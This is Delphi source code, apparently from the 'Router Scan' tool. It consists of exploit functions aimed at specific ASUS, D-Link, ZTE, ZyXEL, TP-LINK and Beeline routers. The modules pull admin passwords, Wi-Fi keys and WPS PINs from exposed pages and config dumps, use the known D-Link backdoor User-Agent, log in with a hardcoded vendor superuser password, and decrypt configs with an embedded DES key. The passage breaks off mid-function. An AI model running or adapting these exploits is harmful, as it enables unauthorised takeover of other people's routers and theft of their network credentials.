        SetTableCell(stcKey, Pasw);

    end;

  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/qis/QIS_verify.htm', S, Code, 8, 0,

  ServerName, UseAuth, AuthUser, AuthPass) then begin

    WAN := DeleteBetween(S, 'function wanlink_ipaddr() { return ''', ''';');

    if WAN <> '' then

      SetTableCell(stcWANIP, WAN);

    WAN := DeleteBetween(S, 'function wanlink_netmask() { return ''', ''';');

    if WAN <> '' then

      SetTableCell(stcWANMask, WAN);

    WAN := DeleteBetween(S, 'function wanlink_gateway() { return ''', ''';');

    if WAN <> '' then

      SetTableCell(stcWANGate, WAN);

    WAN := DeleteBetween(S, 'function wanlink_dns() { return ''', ''';');

    if WAN <> '' then

      SetTableCell(stcDNS, WAN);

  end;

end;
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// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



function TScanThr.Exploit_ASUS_webdav(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

  L: TStringList;

begin

  // Affected:

  // ASUS RT-N66U

  // ASUS RT-AC68U

  // ASUS RT-N16

  // ASUS RT-AC66U

  // ASUS DSL-N55U

  Result := False;

  if ServerName <> 'httpd' then

    Exit;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/get_webdavInfo.asp', S, Code, 8, 0,

  ServerName, UseAuth, AuthUser, AuthPass) then begin

    if Pos('pktInfo=[', S)>0 then begin

      S := StringReplace(S, '// pktInfo=[', '', []);

      L := TStringList.Create;

      L.Text := StringReplace(DeleteBetween(S, 'pktInfo=[', '];'), ''',''', #10, [rfReplaceAll]);

      if L.Count >= 7 then begin

        BSSID := L.Strings[6];

        if BSSID <> '' then

          SetTableCell(stcBSSID, BSSID);

        SSID := L.Strings[1];

        if SSID <> '' then

          SetTableCell(stcSSID, SSID);

      end;

      L.Free;

    end;

  end;

end;
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// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



// References:

// http://forum.antichat.ru/showpost.php?p=3723404&postcount=22



function TScanThr.Exploit_ASUS_WPS(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

  L: TStringList;

begin

  // Affected:

  // ASUS RT-N13U

  // ASUS RT-N13U Rev.B1

  // ASUS RT-N56U

  // ASUS DSL-N10

  // ASUS DSL-N12U

  // ASUS WL-330N3G

  Result := False;

  if ServerName <> 'httpd' then

    Exit;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/WPS_info.asp', S, Code, 8, 0,

  ServerName, UseAuth, AuthUser, AuthPass) then begin

    S := UTF8Decode(S);

    if Pos('<wps_info>', S)>0 then begin

      L := TStringList.Create;

      L.Text := S;

      if L.Count >= 10 then begin

        SSID := DeleteBetween(L.Strings[4], '<wps_info>', '</wps_info>');

        Sec := DeleteBetween(L.Strings[5], '<wps_info>', '</wps_info>');

        Pasw := DeleteBetween(L.Strings[8], '<wps_info>', '</wps_info>');

        Pin := DeleteBetween(L.Strings[9], '<wps_info>', '</wps_info>');

        if (Sec = 'Open System') and (Pasw = 'None') then begin

          Sec := 'None';

          Pasw := '<empty>';

        end;

        if Sec = 'WPA-Personal' then

          Sec := 'WPA';

        if Sec = 'WPA2-Personal' then

          Sec := 'WPA2';

        if Sec = 'WPA-PersonalWPA2-Personal' then

          Sec := 'WPA/WPA2';



        if SSID <> '' then begin

          ParseHTMLHex(SSID);

          SetTableCell(stcSSID, SSID);

        end;

        if Sec <> '' then

          SetTableCell(stcSec, Sec);

        if Pasw <> '' then begin

          //ParseHTMLHex(Pasw);

          SetTableCell(stcKey, Pasw);

        end;

        if Pin <> '' then

          SetTableCell(stcPin, Pin);

      end;

      L.Free;

    end else

      if Pos('WSC_PIN = "', S)>0 then begin

        Pin := DeleteBetween(S, 'WSC_PIN = "', '";');

        if Pin <> '' then

          SetTableCell(stcPin, Pin);

      end;

  end;

end;
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// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



// References:

// http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/



function TScanThr.Exploit_DLinkAlphaDI(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  C: TClientSocket;

  A, Buf: AnsiString;

  Len: Integer;

begin

  // Affected:

  // D-Link DI-524UP

  // D-Link DI-604UP

  // D-Link DI-624S

  // D-Link T-Mobile TM-G5240

  // Planex BRL-04CW

  // Planex BRL-04CW-U

  // Planex BRL-04R

  // Planex BRL-04UR

  Result := False;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  if Pos('thttpd-alphanetworks', ServerName) = 0 then

    Exit;

  C := TClientSocket.Create(nil);

  C.Address := IPToStr(IP);

  C.Port := Port;

  C.ClientType := ctBlocking;



  try

    C.Open;

  except

    C.Free;

    Exit;

  end;

  if C.Active then begin

    A := 'GET /Tools/tools_admin.xgi?GET/sys/account/superUserName=1 HTTP/1.0'#13#10+

    'User-Agent: xmlset_roodkcableoj28840ybtide'#13#10#13#10;

    C.Socket.SendBuf(A[1], Length(A));

  end;

  A := '';

  while (Pos(' '#0, A) = 0)

  and (Pos(#13#10, A) = 0) do begin

    Len := C.Socket.ReceiveLength;

    SetLength(Buf, Len);

    C.Socket.ReceiveBuf(Buf[1], Len);

    A := A + Buf;

  end;

  if C.Active then

    C.Close;

  if Pos(#13#10, A) = 0 then begin

    Delete(A, Pos(' '#0, A), 2);

    AuthUser := A;

    Result := True;

  end;



  try

    C.Open;

  except

    C.Free;

    Exit;

  end;

  if C.Active then begin

    A := 'GET /Tools/tools_admin.xgi?GET/sys/account/superUserPassword=1 HTTP/1.0'#13#10+

    'User-Agent: xmlset_roodkcableoj28840ybtide'#13#10#13#10;

    C.Socket.SendBuf(A[1], Length(A));

  end;

  A := '';

  while (Pos(' '#0, A) = 0)

  and (Pos(#13#10, A) = 0) do begin

    Len := C.Socket.ReceiveLength;

    SetLength(Buf, Len);

    C.Socket.ReceiveBuf(Buf[1], Len);

    A := A + Buf;

  end;

  if C.Active then

    C.Close;

  if Pos(#13#10, A) = 0 then begin

    Delete(A, Pos(' '#0, A), 2);

    AuthPass := A;

    Result := True;

  end;

  C.Free;

end;
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// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



function TScanThr.Exploit_DLinkDIConfig(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

const

  ofs = $E;

var

  Code: Integer;

  MS, MSO: TMemoryStream;

  A: AnsiString;

begin

  // Affected:

  // D-Link DI-604+

  Result := False;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  MS := TMemoryStream.Create;

  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/config.bin',

  MS, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin

    if MS.Size > 8192 then begin

      Move(Pointer(Cardinal(MS.Memory) + ofs)^, MS.Memory^, MS.Size - ofs);

      MS.SetSize(MS.Size - ofs);

      MSO := TMemoryStream.Create;

      if Deflate(MS, MSO) then begin

        SetLength(A, MSO.Size);

        Move(MSO.Memory^, A[1], Length(A));

        if Pos('/mgmt:0/name=', A)>0 then begin

          AuthUser := DeleteBetween(A, '/mgmt:0/name=', #13#10);

          Result := True;

        end;

        if Pos('/mgmt:0/password=', A)>0 then begin

          AuthPass := DeleteBetween(A, '/mgmt:0/password=', #13#10);

          Result := True;

        end;

      end;

      MSO.Free;

    end;

  end;

  MS.Free;

end;
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// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



// References:

// http://stascorp.com/forum/15-86-1



function DLB6031_Pass(var M: TMemoryStream): AnsiString;

  function tbl(X,Y: Byte): Byte;

  begin

    Dec(Y);

    Result := not X;

    if Y < 8 then

      Result := Result shr (8 - Y);

    if Y > 8 then

      Result := Result shl (Y and 7);

  end;

var

  O: TMemoryStream;

  I: Integer;

  B1, B2: Byte;

begin

  M.Seek(0, soFromBeginning);

  if M.Size < 2048 then

    Exit;

  O:=TMemoryStream.Create;

  I:=0;

  while I < 54 do begin

    M.ReadBuffer(B1, 1);

    O.WriteBuffer(B1, 1);

    Inc(I);

  end;

  while I < M.Size do begin

    M.ReadBuffer(B1, 1);

    B1 := tbl(B1, M.Position mod 16);

    O.WriteBuffer(B1, 1);

    Inc(I);

  end;

  Dec(I);

  M.Seek(-1, soCurrent);

  O.Seek(54, soFromBeginning);

  while I > 53 do begin

    M.ReadBuffer(B1, 1);

    B1 := tbl(B1, 15 - (M.Position mod 16));

    M.Seek(-2, soCurrent);

    O.ReadBuffer(B2, 1);

    B1 := B1 + B2;

    O.Seek(-1, soCurrent);

    O.WriteBuffer(B1, 1);

    Dec(I);

  end;

  if O.Size >= $D5 then

    Result := PAnsiChar(Cardinal(O.Memory)+$B5);

  O.Free;

end;



function TScanThr.Exploit_DLinkDLB6031(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

  MS: TMemoryStream;

begin

  // Affected:

  // D-Link DI-524

  Result := False;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  MS := TMemoryStream.Create;

  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/config.bin',

  MS, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin

    Tmp := DLB6031_Pass(MS);

    if Tmp <> '' then begin

      AuthUser := 'admin';

      AuthPass := Tmp;

      Result := True;

    end;

  end;

  MS.Free;

end;









RouterScan2.47/src/Exploit_MicroDSLAdminPasswd.pas

// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



function TScanThr.Exploit_MicroDSLAdminPasswd(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

  S: String;

begin

  // Affected:

  // ZTE ZXDSL 831AII V4.1.0b E09 RU

  // ZTE ZXDSL 831CII V5.2.0a E09 RU2

  Result := False;

  if ServerName <> 'micro_httpd' then

    Exit;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/adminpasswd.cgi',

  S, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass) then

    if (Pos('nameAdmin = ''', S)>0) and (Pos('pwdAdmin = ''', S)>0) then begin

      Result := True;

      AuthUser := DeleteBetween(S, 'nameAdmin = ''', ''';');

      AuthPass := DeleteBetween(S, 'pwdAdmin = ''', ''';');

    end;

end;









RouterScan2.47/src/Exploit_MicroDSLBackup.pas

// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



function TScanThr.Exploit_MicroDSLBackup(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

  S: String;

begin

  Result := False;

  if ServerName <> 'micro_httpd' then

    Exit;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/backupsettings.conf',

  S, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then

    if Pos('<AdminPassword>', S)>0 then begin

      Result := True;

      if DeleteBetween(S, '<AdminUserName>', '</AdminUserName>') = '' then

        AuthUser := 'admin'

      else

        AuthUser := DeleteBetween(S, '<AdminUserName>', '</AdminUserName>');

      AuthPass := DecodeBase64(DeleteBetween(S, '<AdminPassword>', '</AdminPassword>'));

    end;

end;









RouterScan2.47/src/Exploit_MicroDSLpsiBackup.pas

// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



function TScanThr.Exploit_MicroDSLpsiBackup(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

  S: String;

  SList: TStringList;

  Tmp2: String;

begin

  // Affected:

  // ZTE ZXDSL 531BII V3.0.0d B09 OV

  Result := False;

  if ServerName <> 'micro_httpd' then

    Exit;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  SList := TStringList.Create;

  if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/psiBackupInfo.cgi',

  SList, S, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass) then

    if Pos('<psitree', S)>0 then begin

      if (Pos('<sysUserName value="', S)>0)

      and (Pos('<sysPassword value="', S)>0) then begin

        Result := True;

        AuthUser := HexInvToString(DeleteBetween(S, '<sysUserName value="', '"'));

        AuthPass := HexInvToString(DeleteBetween(S, '<sysPassword value="', '"'));

      end;



      Tmp := DeleteBetween(S, '<WirelessCfg>', '</WirelessCfg>');



      if DeleteBetween(Tmp, 'state="', '"') = 'disabled' then

        SetTableCell(stcRadioOff, stcCheckX);

      if DeleteBetween(Tmp, 'hide="', '"') = '1' then

        SetTableCell(stcHidden, stcCheckX);



      SSID := DeleteBetween(Tmp, 'ssId="', '"');

      SetTableCell(stcSSID, SSID);

      ReadonlySSID := True;



      Tmp2 := DeleteBetween(Tmp, 'authMode="', '"');

      if Tmp2 = 'open' then

        if DeleteBetween(Tmp, 'wep="', '"') <> 'enabled' then begin

          Sec := 'None';

          Pasw := '<empty>';

        end else

          Sec := 'WEP';

      if Tmp2 = 'shared' then

        Sec := 'WEP Shared';

      if Tmp2 = 'psk' then

        Sec := 'WPA';

      if Tmp2 = 'psk2' then

        Sec := 'WPA2';

      if Tmp2 = 'psk2mix' then

        Sec := 'WPA/WPA2';

      if Tmp2 = 'radius' then

        Sec := '802.1X';

      if Tmp2 = 'wpa' then

        Sec := 'WPA Enterprise';

      if Tmp2 = 'wpa2' then

        Sec := 'WPA2 Enterprise';

      if Tmp2 = 'wpa2mix' then

        Sec := 'WPA/WPA2 Enterprise';

      if (Sec = 'WEP')

      or (Sec = 'WEP Shared') then

        if DeleteBetween(Tmp, 'keyBit="', '"') = '64-bit' then begin

          if DeleteBetween(Tmp, 'keyType="', '"') = 'ASCII' then begin

            if DeleteBetween(Tmp, 'key64Index="', '"') = '0' then

              Pasw := DeleteBetween(Tmp, 'key64_a_1="', '"');

            if DeleteBetween(Tmp, 'key64Index="', '"') = '1' then

              Pasw := DeleteBetween(Tmp, 'key64_a_2="', '"');

            if DeleteBetween(Tmp, 'key64Index="', '"') = '2' then

              Pasw := DeleteBetween(Tmp, 'key64_a_3="', '"');

            if DeleteBetween(Tmp, 'key64Index="', '"') = '3' then

              Pasw := DeleteBetween(Tmp, 'key64_a_4="', '"');

            if CheckHex(Pasw) then

              Pasw := HexInvToString(Pasw);

          end else begin

            if DeleteBetween(Tmp, 'key64Index="', '"') = '0' then

              Pasw := DeleteBetween(Tmp, 'key64_1="', '"');

            if DeleteBetween(Tmp, 'key64Index="', '"') = '1' then

              Pasw := DeleteBetween(Tmp, 'key64_2="', '"');

            if DeleteBetween(Tmp, 'key64Index="', '"') = '2' then

              Pasw := DeleteBetween(Tmp, 'key64_3="', '"');

            if DeleteBetween(Tmp, 'key64Index="', '"') = '3' then

              Pasw := DeleteBetween(Tmp, 'key64_4="', '"');

            if CheckHex(Pasw) then

              Pasw := HexInvToString(Pasw);

            WEPHexToAnsi(Pasw);

          end;

          if Sec = 'WEP' then

            Sec := 'WEP 64'

          else

            Sec := 'WEP 64 Shared';

        end else begin

          if DeleteBetween(Tmp, 'keyType="', '"') = 'ASCII' then begin

            if DeleteBetween(Tmp, 'key128Index="', '"') = '0' then

              Pasw := DeleteBetween(Tmp, 'key128_a_1="', '"');

            if DeleteBetween(Tmp, 'key128Index="', '"') = '1' then

              Pasw := DeleteBetween(Tmp, 'key128_a_2="', '"');

            if DeleteBetween(Tmp, 'key128Index="', '"') = '2' then

              Pasw := DeleteBetween(Tmp, 'key128_a_3="', '"');

            if DeleteBetween(Tmp, 'key128Index="', '"') = '3' then

              Pasw := DeleteBetween(Tmp, 'key128_a_4="', '"');

            if CheckHex(Pasw) then

              Pasw := HexInvToString(Pasw);

          end else begin

            if DeleteBetween(Tmp, 'key128Index="', '"') = '0' then

              Pasw := DeleteBetween(Tmp, 'key128_1="', '"');

            if DeleteBetween(Tmp, 'key128Index="', '"') = '1' then

              Pasw := DeleteBetween(Tmp, 'key128_2="', '"');

            if DeleteBetween(Tmp, 'key128Index="', '"') = '2' then

              Pasw := DeleteBetween(Tmp, 'key128_3="', '"');

            if DeleteBetween(Tmp, 'key128Index="', '"') = '3' then

              Pasw := DeleteBetween(Tmp, 'key128_4="', '"');

            if CheckHex(Pasw) then

              Pasw := HexInvToString(Pasw);

            WEPHexToAnsi(Pasw);

          end;

          if Sec = 'WEP' then

            Sec := 'WEP 128'

          else

            Sec := 'WEP 128 Shared';

        end;

      if (Sec = 'WPA')

      or (Sec = 'WPA2')

      or (Sec = 'WPA/WPA2') then begin

        Pasw := DeleteBetween(Tmp, 'wpakey="', '"');

        if CheckHex(Pasw) then

          Pasw := HexInvToString(Pasw);

      end;

      if (Sec = '802.1X')

      or (Sec = 'WPA Enterprise')

      or (Sec = 'WPA2 Enterprise')

      or (Sec = 'WPA/WPA2 Enterprise') then

        Pasw := 'Radius server: ' +

        DeleteBetween(Tmp, 'radiusServerIP="', '"') + ':' +

        DeleteBetween(Tmp, 'radiusServerPort="', '"') +

        ', password: ' +

        DeleteBetween(Tmp, 'radiusServerKey="', '"');

      SetTableCell(stcSec, Sec);

      ReadonlySec := True;

      SetTableCell(stcKey, Pasw);

      ReadonlyKey := True;



      Tmp := DeleteBetween(S, '<Lan>', '</Lan>');

      LAN := DeleteBetween(Tmp, 'address="', '"');

      SetTableCell(stcLANIP, LAN);

      LAN := DeleteBetween(Tmp, 'mask="', '"');

      SetTableCell(stcLANMask, LAN);

      ReadonlyLAN := True;

    end;

  SList.Free;

end;









RouterScan2.47/src/Exploit_Rom0.pas

// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



// References:

// http://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html

// http://brezular.com/2014/06/20/zynos-rom-0-exploit/



procedure Decode_rom0(var M: TMemoryStream);

var

  unknown, blockSize: DWORD;

  majorVersion, minorVersion, orgSize, rawSize: Word;

  BufIn, BufOut: TBytes;

  O: TMemoryStream;

  Swap: Boolean;



  function SwapEndian(Value: Cardinal): Cardinal; register; overload;

  asm

    bswap eax

  end;



  function SwapEndian(Value: Word): Word; register; overload;

  asm

    xchg  al, ah

  end;



begin

  unknown := 0;

  O := TMemoryStream.Create;

  M.Seek(0, soFromBeginning);

  while M.Size - M.Position >= 4 do begin

    M.ReadBuffer(unknown, 4);

    if (unknown = $DBDBEDCE)

    or (unknown = $CEEDDBDB) then begin

      Swap := unknown = $DBDBEDCE;

      Break;

    end;

    M.Seek(-3, soCurrent);

  end;

  if M.Size - M.Position < 4 then

    Exit;

  M.ReadBuffer(majorVersion, 2);

  if Swap then

    majorVersion := SwapEndian(majorVersion);

  M.ReadBuffer(minorVersion, 2);

  if Swap then

    minorVersion := SwapEndian(minorVersion);

  M.ReadBuffer(blockSize, 4);

  blockSize := SwapEndian(blockSize);

  while M.Position < M.Size do begin

    if M.Size - M.Position < 2 then

      Break;

    M.ReadBuffer(orgSize, 2);

    if Swap then

      orgSize := SwapEndian(orgSize);

    if M.Size - M.Position < 2 then

      Break;

    M.ReadBuffer(rawSize, 2);

    if Swap then

      rawSize := SwapEndian(rawSize);

    if orgSize > $8000 then

      Break;

    if rawSize > 0 then begin

      if rawSize > M.Size - M.Position then

        rawSize := M.Size - M.Position;

      SetLength(BufIn, rawSize);

      M.ReadBuffer(BufIn[0], rawSize);

      try

        LZSDecompress(BufIn, BufOut);

      except



      end;

      if Length(BufOut) = orgSize then

        O.WriteBuffer(BufOut[0], Length(BufOut))

      else

        Break;

      Break;

    end;

  end;

  M.Free;

  M := O;

end;



function TScanThr.Exploit_Rom0(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

  MS: TMemoryStream;

  A: AnsiString;

begin

  // Affected:

  // ZyXEL ZyWALL Series P-2608HWL-D1

  // ZyXEL ZyWALL Series Prestige 791R

  // ZyXEL ZyWALL Series P-660RU-T1 v2

  // TP-LINK TD-W8901G

  // TP-LINK TD-W8961ND

  // ZyXEL ZyWALL Series P-660HW-T1 v2

  // ZyXEL ZyWALL Series P-2602HWL-D1A

  Result := False;

  if Pos('RomPager', ServerName)=0 then

    Exit;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  MS := TMemoryStream.Create;

  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/rom-0',

  MS, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin

    SetLength(A, MS.Size);

    Move(MS.Memory^, A[1], Length(A));

    if Pos('dbgarea', A)=0 then begin

      MS.Free;

      Exit;

    end;

    A := '';

    if (Code = 200) and (MS.Size >= 16384) then begin

      Decode_rom0(MS);

      if MS.Size >= 2048 then begin

        Tmp := PtrStr(Cardinal(MS.Memory) + $14, 32);

        if Tmp <> '' then begin

          Result := True;

          AuthUser := 'admin';

          AuthPass := Tmp;

        end;

      end;

    end;

  end;

  MS.Free;

end;









RouterScan2.47/src/Exploit_SmartBox.pas

// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



function TScanThr.Exploit_SmartBox(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

  NewUser, NewPass: String;

  SList: TStringList;



  function DoLogin(Usr, Psw: String): Boolean;

  begin

    Result := False;

    SList := TStringList.Create;

    SList.Add('login_name=');

    SList.Add('login_pwd=');

    SList.Add('time=' + IntToStr(GetTickCount div 1000));

    SList.Add('un=' + EncodeBase64(Usr));

    SList.Add('pw=' + EncodeBase64(Psw));

    SList.Add('todo=auth');

    SList.Add('this_file=quick_auth.htm');

    SList.Add('next_file=quick_menu.htm');

    if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/setup.cgi',

    SList, S, Code, 8, 0, ServerName, False, '', '') then

      if Pos('quick_auth', S)=0 then

        Result := True;

    SList.Free;

  end;

  procedure DoLogout;

  begin

    SList := TStringList.Create;

    SList.Add('todo=logout');

    SList.Add('this_file=quick_menu.htm');

    SList.Add('next_file=quick_menu.htm');

    PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/setup.cgi',

    SList, S, Code, 8, 0, ServerName, False, '', '');

    SList.Free;

  end;

begin

  Result := False;

  if AuthOk and (AuthUser = 'admin') then

    Exit;



  if AuthOk then

    DoLogout;



  if not DoLogin('SuperUser', 'Beeline$martB0x') then begin

    DoLogin(AuthUser, AuthPass);

    Exit;

  end;

  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/mgt_admin_user.htm?name=Manage%20User&user=3',

  S, Code, 8, 0, ServerName, False, '', '') then

    if Pos('name="login_name" value="', S)>0 then begin

      NewUser := DeleteBetween(S, 'name="login_name" value="', '" ');

      NewPass := DeleteBetween(S, 'name="password" value="', '" ');

    end;



  DoLogout;

  if (NewUser <> '') or (NewPass <> '') then

    if DoLogin(NewUser, NewPass) then begin

      Result := True;

      AuthUser := NewUser;

      AuthPass := NewPass;

      SetTableCell(stcAuth, AuthUser+':'+AuthPass);

      Exit;

    end;

  DoLogin(AuthUser, AuthPass);

end;









RouterScan2.47/src/Exploit_TPLINK_Config.pas

// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



function TScanThr.Exploit_TPLINK_Config(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

begin

  // Affected:

  // TP-LINK TD-854W

  Result := False;

  if (Pos('Virtual Web', ServerName)=0)

  and (Pos('Realtron', ServerName)=0) then

    Exit;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/form2saveConf.cgi', S, Code, 8, 0,

  ServerName, UseAuth, AuthUser, AuthPass) then begin

    if Pos('<Config_Information_File', S)=0 then

      GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/form2saveConf.cgi', S, Code, 8, 0,

      ServerName, True, 'admin', 'airocon');

    if (Pos('<Config_Information_File', S)>0)

    and (Pos('<chain N="USERNAME_PASSWORD">', S)>0) then begin

      Result := True;

      AuthUser := DeleteBetween(DeleteBetween(S, '<chain N="USERNAME_PASSWORD">', ''), '<V N="USERNAME" V="', '"/>');

      AuthPass := DeleteBetween(DeleteBetween(S, '<chain N="USERNAME_PASSWORD">', ''), '<V N="PASSWORD" V="', '"/>');

    end;

  end;

end;









RouterScan2.47/src/Exploit_TPLINK_Enc_Config.pas

// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



// References:

// http://adlersky.me/?p=223

// http://www.verydemo.com/article_c448_i16213.html



function TScanThr.Exploit_TPLINK_Enc_Config(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

const

  Key: Array[0..7] of Byte = ($47,$8D,$A5,$0B,$F9,$E3,$D2,$CF);

var

  Code: Integer;

  MS, MSO: TMemoryStream;

  D: TDCP_des;

  B1, B2: Array[0..7] of Byte;

  A, LF: AnsiString;



  procedure ParseConfig1;

  begin

    SSID := DeleteBetween(A, 'wlan_ssid_str ', LF);



    Tmp := DeleteBetween(A, 'wlan_secu_en ', LF);

    if Tmp = '0' then begin

      Sec := 'None';

      Pasw := '<empty>';

    end;

    if Tmp = '1' then

      Tmp := DeleteBetween(A, 'wlan_priv ', LF);



    if Tmp = '1' then

      Sec := 'WEP';

    if Tmp = '2' then

      Sec := 'EAP';

    if Tmp = '3' then

      Sec := 'PSK';

    if Sec = 'WEP' then begin

      Tmp := DeleteBetween(A, 'wlan_dftKey ', LF);

      if Tmp = '1' then

        Pasw := DeleteBetween(A, 'wlan_key_val 1 ', LF);

      if Tmp = '2' then

        Pasw := DeleteBetween(A, 'wlan_key_val 2 ', LF);

      if Tmp = '3' then

        Pasw := DeleteBetween(A, 'wlan_key_val 3 ', LF);

      if Tmp = '4' then

        Pasw := DeleteBetween(A, 'wlan_key_val 4 ', LF);

      Tmp := PtrHex(Cardinal(@Pasw[1]), Length(Pasw));

      WEPHexToAnsi(Tmp);

      if Tmp <> Pasw then

        Pasw := Tmp;

      Tmp := DeleteBetween(A, 'wlan_subTyp 1 ', LF);

      Sec := WEPBits(Pasw, Tmp = '2');

    end;

    if Sec = 'EAP' then begin

      Tmp := DeleteBetween(A, 'wlan_subTyp 2 ', LF);

      if Tmp = '1' then

        Sec := 'WPA Enterprise';

      if Tmp = '2' then

        Sec := 'WPA2 Enterprise';

      if Tmp = '3' then

        Sec := 'WPA/WPA2 Enterprise';

    end;

    if Sec = 'PSK' then begin

      Tmp := DeleteBetween(A, 'wlan_subTyp 3 ', LF);

      if Tmp = '1' then

        Sec := 'WPA';

      if Tmp = '2' then

        Sec := 'WPA2';

      if Tmp = '3' then

        Sec := 'WPA/WPA2';

    end;

    if (Sec = 'WPA')

    or (Sec = 'WPA2')

    or (Sec = 'WPA/WPA2')

    then

      Pasw := DeleteBetween(A, 'wlan_psk_scrt ', LF);

    if (Sec = 'WPA Enterprise')

    or (Sec = 'WPA2 Enterprise')

    or (Sec = 'WPA/WPA2 Enterprise')

    then begin

      Pasw := 'Radius server: ' +

      DeleteBetween(A, 'wlan_rds_ip ', LF)+

      ':' +

      DeleteBetween(A, 'wlan_rds_pt ', LF)+

      ', password: ' +

      DeleteBetween(A, '? ', LF);

    end;

  end;

  procedure ParseConfig2;

  begin

    SSID := DeleteBetween(A, 'wlan_mbssid_str 1 ', LF);



    Tmp := DeleteBetween(A, 'wlan_security_en ', LF);

    if Tmp = '0' then begin

      Sec := 'None';

      Pasw := '<empty>';

    end;

    if Tmp = '1' then

      Tmp := DeleteBetween(A, 'wlan_Auth ', LF);



    if Tmp = '1' then

      Sec := 'WEP';

    if Tmp = '2' then

      Sec := 'EAP';

    if Tmp = '3' then

      Sec := 'PSK';

    if Sec = 'WEP' then begin

      Tmp := DeleteBetween(A, 'wlan_priv_defkey ', LF);

      if Tmp = '1' then

        Pasw := DeleteBetween(A, 'wlan_key_val 1 ', LF);

      if Tmp = '2' then

        Pasw := DeleteBetween(A, 'wlan_key_val 2 ', LF);

      if Tmp = '3' then

        Pasw := DeleteBetween(A, 'wlan_key_val 3 ', LF);

      if Tmp = '4' then

        Pasw := DeleteBetween(A, 'wlan_key_val 4 ', LF);

      Tmp := PtrHex(Cardinal(@Pasw[1]), Length(Pasw));

      WEPHexToAnsi(Tmp);

      if Tmp <> Pasw then

        Pasw := Tmp;

      Tmp := DeleteBetween(A, 'wlan_secSubType1 ', LF);

      Sec := WEPBits(Pasw, Tmp = '2');

    end;

    if Sec = 'EAP' then begin

      Tmp := DeleteBetween(A, 'wlan_secSubType2 ', LF);

      if Tmp = '1' then

        Sec := 'WPA Enterprise';

      if Tmp = '2' then

        Sec := 'WPA2 Enterprise';

      if Tmp = '3' then

        Sec := 'WPA/WPA2 Enterprise';

    end;

    if Sec = 'PSK' then begin

      Tmp := DeleteBetween(A, 'wlan_secSubType3 ', LF);

      if Tmp = '1' then

        Sec := 'WPA';

      if Tmp = '2' then

        Sec := 'WPA2';

      if Tmp = '3' then

        Sec := 'WPA/WPA2';

    end;

    if (Sec = 'WPA')

    or (Sec = 'WPA2')

    or (Sec = 'WPA/WPA2')

    then

